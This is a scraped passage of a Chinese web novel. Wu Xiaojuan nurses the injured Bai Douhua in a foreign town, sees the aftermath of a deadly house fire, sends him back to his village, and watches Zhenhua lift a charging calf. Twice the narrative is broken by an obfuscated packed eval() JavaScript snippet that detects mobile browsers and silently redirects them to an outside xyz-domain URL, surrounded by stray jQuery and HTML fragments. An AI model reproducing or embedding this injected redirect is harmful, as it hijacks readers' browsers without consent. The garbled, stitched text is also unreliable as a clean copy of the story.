吴小卷坐不住,出去和孩子们打闹了一阵,趁人不注意到鸡窝里摸了好几个蛋,丢进烧开了水的锅里,煮成溏心后撒点白糖蘸着吃,再来点小零嘴,饱餐一顿,进进出出,四处晃悠,把镇花家收拾得和自己家一样杂乱。
然后就彻底没了人影,不知道跑哪儿放风去了。
白窦桦脑袋在枕头上摆来摆去,像个截瘫病人在观察房间。
他其实应该起来坐坐,或者尝试扶着床沿走动走动,但最后白窦桦依旧选择像个将死之人一般躺在床上。
一是因为这两天吐得昏天暗地,只在昨晚喝了点米汤,消耗殆尽后实在有心无力;二是因为这样的姿势可以最大程度避免踩到地上的瓜子壳和果皮。
桌子上刚盛过白糖鸡蛋的碗勺也没洗,苍蝇正扎堆盘旋在那附近,争先恐后地往碗里头钻,生怕舔不到带甜味的食物残渣。
白窦桦把头摆正,对准天花板,闭上眼假寐。
强迫症看不得这个。
蓦地又睁开眼,不是,吴小卷怎么吃独食啊,还正对着他一屁股坐下稀里哗啦哐哐吃,吃完就跑。
他这么大个人,是隐身了吗?
昨天晚上还一口一个哥哥,今天就又变成可以视而不见的普通男人了。
真令人寒心。
*
中午镇花回来一趟,给寄放在家的孩子们、看门的吴小卷和躺尸的白窦桦捎了点吃的,这才没把伤患又给饿晕过去。
趁着吴小卷和白窦桦吃饭的空当,镇花动作麻利地招呼孩子们上床睡觉,把家里重新收拾妥当。
白窦桦等这顿饭等了一个上午,没控制住进食速度,吃得太猛,晕碳,很快就倒头真的睡过去。
镇花检查一番确认他身体情况没有恶化后,作势又要出门。
吴小卷抹了把嘴,赶紧抓住镇花,打出几个手势,也不管镇花看不看得懂,反正她拖着镇花的胳膊,死死的,意思就是咋样都不能再把自己一个完全刑事责任能力人丢家里。
托管的孩子们睡了,死猪一样的白窦桦也晕了,这里又没有电视机和跳跳棋,她上午把附近看上去安全的点位都踩了一遍,连河里大概有多少种鱼都摸排清楚,兴奋和新鲜劲散去,一时半会儿实在是找不到消遣,想跟着出门扩大可行动地图。
镇花很好说话,默许人形挂件吴小卷一起出门。
吴小卷离开镇长家几分钟,回头一看,那栋躺着白窦桦的房子已经不在可视范围内了。
把头转回来,瞟两眼自己身边的镇花,吴小卷第一次独自面对异乡人,突然就在心里打起鼓,有点紧张。
这是国外,语言不通,环境陌生,真有什么突发情况她连救命都不知道怎么喊。
低头凝视着自己的鞋面,吴小卷迈着犹豫的小碎步,老实巴交跟着脚步放缓的镇花一直走。
神经高度紧绷地拽着镇花,走到满身大汗,吴小卷那鼻嘎大点的警惕心和汗湿的手就完全放下了。
——累死老娘了,她想,不管发生什么,随便怎么着吧,现在能不能找个地方休息一下?又不是西天取经,到了目的地最后还能成仙。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458257|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不行让她自认猪八戒,圆了八戒的愿望,让八戒原路撤退,先回高老庄睡觉去吧。
*
吴小卷最后也没争取到撤退的机会,因为镇花回握住了她的手。
更关键的是,她刚才只顾着紧张,没记路,当逃兵回高老庄是痴人说梦。
于是又弯弯绕绕翻山越岭往前走,走得吴小卷要崩溃,一款“本土导航”镇花终于表示您的目的地已到达。
目的地现场有很多人围到镇花四周,发出音调各异的嘈杂声,攀附在镇花身上的拖油瓶吴小卷只想一个人静静。
她默默从镇花身边走开,随便找地方坐下歇了口气,才提起精神,去观望人群聚集处的状况。
人群面前是一小栋房屋,昨晚大概起了火,已经被烧得焦黑。
在面目全非的空架子前,有一个青年背对房屋弓腰站立,臂弯里环抱着一个孩子。
小孩面朝青年,半拉身体掉地上,踮着脚,双手死死攥着青年胸前的衣物。
看着像是一对兄弟。
吴小卷走近,穿过人群,认出那青年是昨天帮忙把白窦桦架到镇长家的其中一个。
矮的那个。
而他怀里的小不点,根据身形和还没换下来的衣物分辨,则正是昨晚留宿镇长家、今早才被接走的孩子。
青年佝偻着背,正失声痛哭。
他的身躯将小孩紧紧包裹,全然遮挡住身后的一片惨状。
吴小卷在青年的视线朝她移来的瞬间背过身,回到刚刚远离人群的地方,随手扯了根草在手里捏。
她玩着草,当即有了最悲观的判断:除了这兄弟俩,这栋房子里的其他人都在火灾里遭了殃。
……
太阳在人来人往中落了山。
一下午都有各种各样的人在吴小卷周围叽里咕噜讨论叹息,吴小卷听不懂,但压抑的氛围还是让她情绪也跟着低落起来。
烦死,早知道就不死乞白赖非要来了。
来了又没用,只能让她本就岌岌可危的精神状态雪上加霜。
镇长身负要职,镇花作为他的女儿和得力助手,应该是还需要一同就起火原因对家属及附近居民展开调查,暂时抽不出身,小孩被他哥随意扔给低落的吴小卷带回镇长家。
随意到吴小卷都震惊。
看来她的形象在当地审美里属于难看,但不是坏蛋,甚至还很忠厚的类型。
诶,包身工,靠谱。
小孩牵着吴小卷的手,茫然呆愣,睫毛粘黏成一簇一簇,灰扑扑的小花脸上有两行淡淡的干涸痕迹,看来也哭过了。
吴小卷盯着他,半晌,伸出另一只手,轻轻抹掉他脸上的灰和泪痕。
等离开现场,走出一段距离,孩子的情绪慢慢由雨转阴再转晴,一路上仰头叽里呱啦不停说着什么,吴小卷又听不懂,只能以“啊、嗯、哈、哟嗬”各种语气词敷衍过去。
果然还是个孩子,她想,可能根本没意识到发生了什么,只是看哥哥在哭,就跟着哭,看不见伤心的大人,很快便忘记了刚刚的惶恐不安。
现在惶恐不安的变成吴小卷。
12. 鸡蛋女王
想到白天还能把这小朋友丢到孩子堆里不用管,晚上就不行了,得费尽心机使用各种手段才能让他乖乖睡觉,被迫又当起保姆的吴小卷唉声连连,提前在脑海里搜索催眠的摇篮曲。
搜着搜着她就迷了路,要朝偏僻的小路上拐,被孩子牵着往回跑,才没去到深山野岭里舍身喂豺狼。
跑什么跑,跑这么快,赶着投胎啊?吴小卷心想,还好阿姨腿长,不然都跟不上这新时代奔命的步伐。
当看到眼熟的大门时,吴小卷心里的吐槽停下来,低落的眼皮往上抬了抬,惊喜万分,顺带就给这识途的孩子起了个外号:“老马!”
“你好棒啊老马。”
归程跟着这孩子跑两步,吴小卷感觉距离也不像去时那么远嘛。
她蹲下身,朝老马稚嫩的脸蛋上啵叽亲一口,然后站起来,率先进屋找东西吃,吃完蔫儿蔫儿的,直奔睡太久炯炯有神的白窦桦身旁床位躺平做梦去了。
管他是不是伤患,今天晚上谁后闭眼谁来哄小孩睡觉。
日升月落,晚霞余晖,小河淙淙,光阴流淌。
一只蜜蜂趴在窗台,是身体里的花蜜太多太重,需要歇歇脚。
歇了不到五秒钟,它扇动翅膀,嗡嗡嗡地重新启航,干劲十足回家筑巢。
经过几天的休整,白窦桦身体也恢复得差不多,该去村里种地了。
刚睡醒的吴小卷在厨房里忙活,听到白窦桦要走,赶忙捞起冷水下锅的鸡蛋,跑去里屋看了看,看到镇花刚从发电站回来,在家里照顾午睡的孩儿们,便挥手打了声招呼,把大门虚掩上,跑出去送行。
“小白。”
吴小卷站在院坝里,仔仔细细打量白窦桦一番,觉得短短几天,他就瘦了不少,真心实意地嘱咐:“注意身体。”
白窦桦在绑鞋带,抬眼瞅她,风轻云淡:“我身体有什么问题?”
吴小卷舔舔嘴皮子,很实诚地说:“你脑袋不太经敲,起了个肿包,到村子里的第一天就把村民的化肥吐毁,让别人退回来看病吃药。”
“把村民的化肥吐毁了?”白窦桦起身站直,不承认,“谁告诉你的?”
吴小卷想了想,说:“不认识。”
白窦桦静静注视她:“陌生人。”
吴小卷:“确实是——”
白窦桦:“陌生人的话你也信?”
吴小卷噎了噎。
然后她露出整齐洁白的牙齿,扬起明媚笑容,说:“确实是不该信。”
白窦桦这男的脸皮挺薄,属于敏感肌。
吴小卷心想:装死你得了。
*
走在送行的小路上,吴小卷低头四处寻找有没有人参。
白窦桦提溜着她的后脖领子,防止这人钻土里去。
大自然那么可怕,接触它干什么?
白窦桦表面稳如泰山,心底无声地阴阳怪气了一番。
然后他听见吴小卷在喊他老白。
白窦桦:谁老?
“哥哥。”没得到回应,吴小卷换了个称呼。
白窦桦:“干什么?”
吴小卷:“人参叶长什么样子?”
白窦桦:“长不会出现在大太阳直射下沙土地上的样子。”
吴小卷说好吧。
走大半天,到地方了,田坎上停着一辆人力三轮车——拉化肥、农产品小工的标配。
她和白窦桦聊起另一个话题。
“哥哥,你在山里有房子吗?”
“有。”
“是自己建的吗?”
“是。”
吴小卷拍手欢呼:“以后你能随便在哪里为我建一栋粉色的房子吗?”
“算了,”她恣意畅想,“还是金色的吧,最好是用金子做的……银色的也凑活,银子做的。房子左右两边要种大树,一棵枫树,一棵银杏树,因为它们的叶子都很漂亮,像我一样。”
白窦桦:“凭什么?”
吴小卷:“穷光蛋help穷光蛋。”
白窦桦:“没有这个理。你应该多听听自力更生的故事。”
说着就要酝酿一个自制小故事。
什么自力更生,天下有的是人唯利是图吸血寄生。
吴小卷跟害怕被念紧箍咒似的,咽口水,叫停,双手合十,拉回话题:“拜托,看在我这么劳心劳力照顾你的份上。”
等价交换总有道理了吧。
白窦桦养伤这几天,镇花没有对吴小卷作出任何指示,大概还是自己两边跑,默许吴小卷在家做白窦桦的专职护工。
吴小卷就恢复了自己的日常作息,每天晚上熬鹰在灯光底下捏起一根根头发掐分叉,白天睡到太阳都晒不到屁股,恍恍惚惚和午睡的孩子们一起起床伸伸懒腰做做游戏,去小河边看看山玩玩水,然后回家变着法地烹饪鸡蛋给白窦桦补充蛋白质。
听到她拿这事来邀功,白窦桦顿了顿,注意力被转移,觉得吴小卷当真是茶馆里开除的伙计,哪壶不开提哪壶。
他遂吴小卷的愿,没有继续酝酿故事,而是问自己劳心劳力的短期护工:“你把我照顾出花来了吗?”
伸出细了一圈的手腕,白窦桦没好气地往吴小卷面前递。
这手腕上过分凸出的骨节哪里来的,你有什么头绪吗?
鸡蛋女王。
鸡蛋女王握住故事首相那只瘦骨嶙峋的手,把了把脉,把白窦桦摸得血管都更突起了一点。
吴小卷把不出什么东西,换成拉着他的手,做出舞铲子的动作,丝毫不觉理亏:“我每天都为你煎一朵太阳花呢。”
太阳花没放油,干煎,花里还有蛋壳。
吴小卷衷心地露出“哎哟大宝贝,让我亲亲抱抱”的慈爱表情。
——大宝贝你真的跟我一样,很好养活。
终于知道干煎蛋是个什么鬼东西、吃究极减脂套餐吃到反胃的大宝贝都懒得再掰扯,抽回手,挥手让吴小卷回了。
结束吧,这挑战三天长出肾结石的日子。
吴小卷没动。
“不建房子就不建吧。”她用一种不强求的语气说。
然后指着那辆链条生锈的古董三轮车,觊觎道:“但是现在哥哥拥有了一辆新车,难道不打算开车送我回家吗?”
“送你——送你回家……”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458258|185391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>白窦桦看了看车,再转回头看了看吴小卷,眼里乍现的迷茫闪烁不定:“那你送我过来的意义在于?”
吴小卷:“增进感情啊。”
她说:“但是增进感情应该有来有回。”
白窦桦不接受鸡蛋女王的情感道德绑架,沉默着拨了拨三轮车把手上的铃铛,清脆响亮,于是他跨上三轮车座位,脚一蹬,就吱呀吱呀费力向前去了,没看见背后吴小卷眼角眉梢挂着的比向日葵盛开还灿烂的笑意。
*
白窦桦走后,吴小卷就再没理由赖在家里睡懒觉,这天吃完早餐,镇花带她去发电站熟悉工作。
路上遇到一条土狗,吴小卷嘬嘬嘬,狗不理她。
径直跑镇花那儿去了。
这里连狗都觉得吴小卷丑。
吴小卷满心沮丧。
镇花喜欢花,在路边的花草野丛这里摸摸那里嗅嗅,然后摘下几朵小花插到自己辫子里。
土狗沉醉在这幅鲜花配美人的画卷中,依偎在镇花脚边,半眯着眼用小鼻子往前凑,感受今日的愉悦心情。
吴小卷的沮丧只持续了十秒,就很坦然地接受了自己是个丑人的现实。
她抬眼看看今天穿红色背心裙的镇花,再低头瞅瞅露出油腻表情疑似行骚扰之事的土狗,眉头就不自觉微微皱起来。
心想:拜托,美丽女人,荒郊野岭,身上穿大红裙子,头上插鲜艳小花,你知不知道这样会给自己带来多大危险?
视线一转,瞟到大块头镇花胳膊上的脂包肌,吴小卷瞬间又怀疑自己是不是多虑了。
说时迟那时快。
吴小卷怀疑到一半,就听不知从哪里传来一阵细碎摩擦声,她扭头。
斜后方被草丛遮挡的田地里猝不及防冲出来一头牛,朝着镇花狂奔而去。
吴小卷暗道不好。
她的精神状况飘忽不定,□□和灵魂向来是分开的,此刻身体在前面跑,脑子在后面追,转身张开双手,准备空手接白刃,去拦那头牛,握住它莽撞的尖角。
事后想起来,那简直就是螳臂当车,不自量力。
好在镇花反应够快,及时把吴小卷拎起来随手放到了一边。
然后吴小卷看见镇花像斗牛士一般动作敏捷,提起裙摆侧身躲过那头牛,紧接着在横冲直撞的疯牛躯干旁,半蹲马步,胳膊一抬,瞬间就把整头牛扛了起来。
就这么水灵灵地抬起了一头小牛。
“……”
妈耶。
在吴小卷震惊的目光下,镇花木桩举重似的,四平八稳地向上颠两下,膝盖伸直,向前走几步,轻拿轻放,把牛顺回了田地里。
末了还扯了扯牛尾巴,拍拍它的屁股,威胁牛,让它干活干累了就自己找个地方偷懒,不要撞人。
把牛送走,镇花检查自己的裙子有没有弄脏,发现没有,就捋了捋额前的碎发,用小钢卡子固定住,继续撅着臀弯腰去赏花。
优雅,实在是优雅。
吴小卷将环抱自己的双臂撒开,情不自禁地鼓起掌来,边叫绝边摇头。
担心这美丽壮女人的安全问题,确实是她多虑了。